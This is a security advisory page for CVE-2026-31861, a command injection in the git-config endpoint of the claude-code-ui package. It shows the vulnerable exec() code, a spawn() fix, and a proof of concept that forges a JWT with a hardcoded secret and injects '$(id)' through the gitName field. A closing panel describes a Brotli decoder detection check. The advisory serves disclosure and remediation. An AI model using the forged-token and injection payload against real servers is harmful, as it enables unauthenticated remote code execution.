CVE-2026-31861

EUVD-2026-11263 · Published Mar 10, 2026

@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes

Shell Command Injection in User Git Config Endpoint

Field	Value
Severity	High
CVSS 3.1	8.8 (High) — when chained with VULN-01
CWE	CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Attack Vector	Network
Authentication	JWT required (bypassable via VULN-01)
Affected Files	`server/routes/user.js` (lines 58-59)

Description

The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.

This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.

Root Cause

server/routes/user.js lines 58-59:

await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);

Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:

`malicious_command` — backtick execution
$(malicious_command) — subshell execution

Impact

Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
The git config --global vector modifies the server-wide git configuration, affecting all git operations
When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data

Proof of Concept

# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")

# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"gitName":"$(id)","gitEmail":"attacker@example.com"}'

The server executes:

git config --global user.name "$(id)"

Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.

Remediation

Replace exec() with spawn() (array arguments, no shell):

// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);

// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);

Technologies

Cloudcli Cloud CliSiteboon Claude-Code-Ui

Weaknesses

CWE-94

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access Stealth

T1190Exploit Public-Facing Application T1027.006HTML Smuggling T1027.009Embedded Payloads T1564.009Resource Forking

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.